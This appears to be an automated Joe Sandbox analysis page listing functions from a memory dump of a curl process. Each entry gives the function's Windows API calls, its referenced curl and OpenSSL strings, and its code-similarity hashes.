Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$DecodeEncode$ConsoleCtrlErrorHandlerLast
String ID:
API String ID: 79376508-0
Opcode ID: 4888dbaae424266db0fd2b7ec0c8914ceed3dcc96a86848e6913acff6c22914b
Instruction ID: 57331012190dd9d64be63553cda3a37cce54b3bf829e3f09411530c3ca255d4e
Opcode Fuzzy Hash: 4888dbaae424266db0fd2b7ec0c8914ceed3dcc96a86848e6913acff6c22914b
Instruction Fuzzy Hash: D051A031D246428BCB35DF28D849F6D7BB2AB44315F06CB1EE40A97661D3758EA0CF61

Function 001EEE80 Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 417COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001EEECA
GetTickCount64.KERNEL32 ref: 001EEF0E

Part of subcall function 001EEBB0: GetTickCount64.KERNEL32 ref: 001EEBF2

Strings

Accept-ranges: bytes, xrefs: 001EF074, 001EF08E, 001EF093
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 001EF106
failed to resume file:// transfer, xrefs: 001EF3D2
Can't get the size of file., xrefs: 001EF188
Content-Length: %lld, xrefs: 001EF030

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Accept-ranges: bytes$Can't get the size of file.$Content-Length: %lld$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT$failed to resume file:// transfer
API String ID: 1927824332-1432456729
Opcode ID: a4e5586f75cac5b5a866b6c2b389c55696c530f5cf0de675ed10ce8c810bb6b2
Instruction ID: f8283ba3a9f25d58248f77604e6448940fd557e652e69eac82d0a1cd06727302
Opcode Fuzzy Hash: a4e5586f75cac5b5a866b6c2b389c55696c530f5cf0de675ed10ce8c810bb6b2
Instruction Fuzzy Hash: 5BE1E531B04B829BCB18DF29D881BAEB7E5BF95304F00462DF98D97281DB319915CB92

Function 00205540 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 203networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 0020604E
htons.WS2_32(?), ref: 0020605F
send.WS2_32(?,?,00000003,00000000), ref: 002060DF
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?), ref: 002060EF
send.WS2_32(?,?,00000002,00000000), ref: 00206123
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0020612D

Strings

Sending data failed (%d), xrefs: 002060F2
Sending data failed (%d), xrefs: 00206130

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLasthtonssend
String ID: Sending data failed (%d)$Sending data failed (%d)
API String ID: 2027122571-2562922721
Opcode ID: e7b2d3ad62765e109807aa1c8a542218b133e3a52d274e199bda747a9a295b4b
Instruction ID: ecd1290810f4fd0fde30f7337b144e8783a72a109bc5abadd4130caf0954958c
Opcode Fuzzy Hash: e7b2d3ad62765e109807aa1c8a542218b133e3a52d274e199bda747a9a295b4b
Instruction Fuzzy Hash: 9E614575210A22EFD7018F28D889BA67BA9FB54315F640121E906CB3C7D771E875CBA1

Function 00254D50 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 145threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00254E0C

Strings

..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254D93
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254D72
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254EE1
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254EC1
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254E81
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254DAF
..\..\openssl\openssl\crypto\rsa\rsa_eay.c, xrefs: 00254E65

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CurrentThread
String ID: ..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c$..\..\openssl\openssl\crypto\rsa\rsa_eay.c
API String ID: 2882836952-2396807625
Opcode ID: 9cbc09fa655ce4d05679376dc052771256ca2dfbf02c861e0ebd2e7417c7cba5
Instruction ID: 00024ebf250fe44e6369df8317eb5c599e9058f637aa251cabec96b5ee1cd6f4
Opcode Fuzzy Hash: 9cbc09fa655ce4d05679376dc052771256ca2dfbf02c861e0ebd2e7417c7cba5
Instruction Fuzzy Hash: B141A6347503015BE711EF58CC42B56B3E4BB44B19F044519EE58DB3C2E7F1EDA886A5

Function 002CB574 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 140fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00367972,00000104,?,00000001,00000000), ref: 002CB606
GetStdHandle.KERNEL32(000000F4,?,00000001,00000000), ref: 002CB6C0
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,00000001,00000000), ref: 002CB70F

Strings

@y6, xrefs: 002CB680
Microsoft Visual C++ Runtime Library, xrefs: 002CB6AE
..., xrefs: 002CB64D
Runtime Error!Program: , xrefs: 002CB5D4
<program name unknown>, xrefs: 002CB615

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$@y6$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-2335345847
Opcode ID: 21808815499b5eb65f2fb0e827c22c67ac02d6baac2f3d08d8dc0aeb3f099e8c
Instruction ID: 489b2a19cc8755e87e19d41f8c8e2a70176808eca994e1019af2defe14002bcf
Opcode Fuzzy Hash: 21808815499b5eb65f2fb0e827c22c67ac02d6baac2f3d08d8dc0aeb3f099e8c
Instruction Fuzzy Hash: FF412532EB071666D7226A789C87FFA62AC9B05758F51423EFD04A22C2FB60CD3445A1

Function 001E51D0 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 265COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001E5271
GetTickCount64.KERNEL32 ref: 001E534C

Strings

SSL connection timeout, xrefs: 001E54B7
SSL connection timeout, xrefs: 001E54E3
SSL connection timeout, xrefs: 001E533C
select/poll on SSL socket, errno: %d, xrefs: 001E54C9

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: SSL connection timeout$SSL connection timeout$SSL connection timeout$select/poll on SSL socket, errno: %d
API String ID: 1927824332-2205507416
Opcode ID: de87a52872faeda3804e0139a82d6ff0374a1d3d870307eb4f9bb6699d0133a0
Instruction ID: 4719bf5a2f521362b27cec2bc4f5b140396a81a924b6ec662184e14726d1377e
Opcode Fuzzy Hash: de87a52872faeda3804e0139a82d6ff0374a1d3d870307eb4f9bb6699d0133a0
Instruction Fuzzy Hash: 5591F731704F818BC728CE2A998566EB7D6EBC9319F18463EE90A9B281DB70DD44C791

Function 00236C30 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236CEA
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236D07
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236D36
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236D9A
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236CC5
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00236C88

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c
API String ID: 0-283015414
Opcode ID: 79fc770ec62bf75e993b5ddc0cbcac9f325c9f41a4513fc2f90933b2a68de9e1
Instruction ID: 9fd0b299fdc059ee59db4b10f66991a3e30b8b9719d1ea5d3d820bdeb1912c41
Opcode Fuzzy Hash: 79fc770ec62bf75e993b5ddc0cbcac9f325c9f41a4513fc2f90933b2a68de9e1
Instruction Fuzzy Hash: 12412B78751307BBE326DF14DC6DB6673ACDB08B00F14C61DE9496B2D1DBF098618691

Function 0020AC40 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 267COMMON

Download Yara Rule

Strings

GSSAPI handshake failure (empty security message), xrefs: 0020AD8F
GSSAPI handshake failure (invalid security data), xrefs: 0020ADB0
GSSAPI handshake failure (invalid security layer), xrefs: 0020ADE0
GSSAPI handshake failure (empty security message), xrefs: 0020AFF4

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 0-2965908308
Opcode ID: 4c16646cf4e5e671b40d3aa78f601abd1242a585a40d4c2087535ae41af3f9eb
Instruction ID: 36d8cfe4ac87e88ea8f21f19dc23e94ab63b8c8daa28bbceffd86cb9f1319b72
Opcode Fuzzy Hash: 4c16646cf4e5e671b40d3aa78f601abd1242a585a40d4c2087535ae41af3f9eb
Instruction Fuzzy Hash: 20B19DB15083418FD721DF28D845B5BBBE8BF88304F04882DF98987262D776E959CB93

Function 002B1B70 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(00000000,0000FFFF,00001007,?,00000000), ref: 002B1BCB
ioctlsocket.WS2_32(?,8004667E,00000004), ref: 002B1C04

Strings

SSH-, xrefs: 002B1C73
L86, xrefs: 002B1D46
auth, xrefs: 002B1D0E
ssh-userauth, xrefs: 002B1DD0

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: getsockoptioctlsocket
String ID: L86$SSH-$auth$ssh-userauth
API String ID: 1030330279-1027386589
Opcode ID: 78da8cac1b8da91a7f07d4aa656215e83e5f833ea2965f5b182169a410331468
Instruction ID: eeb338a5e149077d2f923e80c4c90ae0d001e026034f5ecab16143bf9cae0ed0
Opcode Fuzzy Hash: 78da8cac1b8da91a7f07d4aa656215e83e5f833ea2965f5b182169a410331468
Instruction Fuzzy Hash: 73710AB45107018BE730CF34DC967D7BBE4EF45365F40462EE8AE82280E375A668CB91

Function 001DC830 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001DC840

Strings

User-Agent: %s, xrefs: 001DC8D4

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: User-Agent: %s
API String ID: 1927824332-43864714
Opcode ID: 73f2963a47edcd2c5d610e0817c29f2516387d4d4fe8abb300660efad0181f16
Instruction ID: 6f3c506e7825fbaf6f037afb867aa89ab0e283dacd613a3183b643e535e591b6
Opcode Fuzzy Hash: 73f2963a47edcd2c5d610e0817c29f2516387d4d4fe8abb300660efad0181f16
Instruction Fuzzy Hash: 0151C232B406416BEB196B38DD4ABBEBB59EB52712F04037FF90C9E2D1DB71591087A0

Function 001FBDE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 93networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,?,00000080), ref: 001FBE18
accept.WS2_32(?,?,00000080), ref: 001FBE35
closesocket.WS2_32(?), ref: 001FBE66
ioctlsocket.WS2_32(?,8004667E,?), ref: 001FBEB8

Part of subcall function 001DE530: closesocket.WS2_32(?), ref: 001DE55C

Strings

Connection accepted from server, xrefs: 001FBE91
Error accept()ing server connect, xrefs: 001FBE71

Memory Dump Source

